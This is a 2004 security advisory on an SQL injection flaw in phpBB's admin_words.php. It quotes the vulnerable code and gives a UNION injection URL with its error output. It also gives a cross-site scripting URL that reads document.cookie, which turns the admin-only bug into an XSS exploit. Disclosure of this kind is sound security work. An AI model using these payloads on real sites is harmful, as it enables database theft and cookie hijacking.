Author: Janek Vind "waraxe"
Date: 16. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PhpBB is widely used and very popular forum software, written in php.
Homepage: http://www.phpbb.com/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Original code from admin_words.php, $Id: admin_words.php,v 1.10.2.2 2002/05/12 15:57:45,
starting from line 74:

-------------------------------

if( $mode == "edit" )
{
if( $word_id )
{
$sql = "SELECT *
FROM " . WORDS_TABLE . "
WHERE word_id = $word_id";
if(!$result = $db->sql_query($sql))
{
message_die(GENERAL_ERROR, "Could not query words table", "Error", __LINE__, __FILE__, $sql);
}

$word_info = $db->sql_fetchrow($result);
$s_hidden_fields .= '<input type="hidden" name="id" value="' . $word_id . '" />';
}
else
{
message_die(GENERAL_MESSAGE, $lang['No_word_selected']);
}
}

--------------------------------

As we can see, parameter $word_id is submitted to sql query WITHOUT single quotes, therefore
it's possible sql injection, for example with UNION method:

http://localhost/phpbb206c/admin/admin_words.php?mode=edit&id=-1%20UNION%20ALL%20SELECT%20null/*

and we get error feedback:

------------------------------------------------

Error Could not query words table

DEBUG MODE

SQL Error : 1222 The used SELECT statements have a different number of columns

SELECT * FROM phpbb_words WHERE word_id = -1 UNION ALL SELECT null/*

Line : 83
File : D:apache_wwwrootphpbb206cadminadmin_words.php

------------------------------------------------

By implementing so-called "blind" sql injection methods, we can pull out from sql database any
information. So why i'm categorizing this bug as "non-critical"? Because we need first log in as
forum administrator to make successful attack. So it's not so "useful" security bug ;)
But let's think again - what, if we make such request:


http://localhost/phpbb206c/admin/admin_words.php?mode=edit&id=1/*"><script>alert(document.cookie);</script


So, in this way we can turn not-so-useful sql injection bug to very useful xss exploit.




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum staff and to all IT security related people in Estonia! Tervitused!
Special greets to ulljobu!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

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Published on: 2005-01-06 (3305 reads)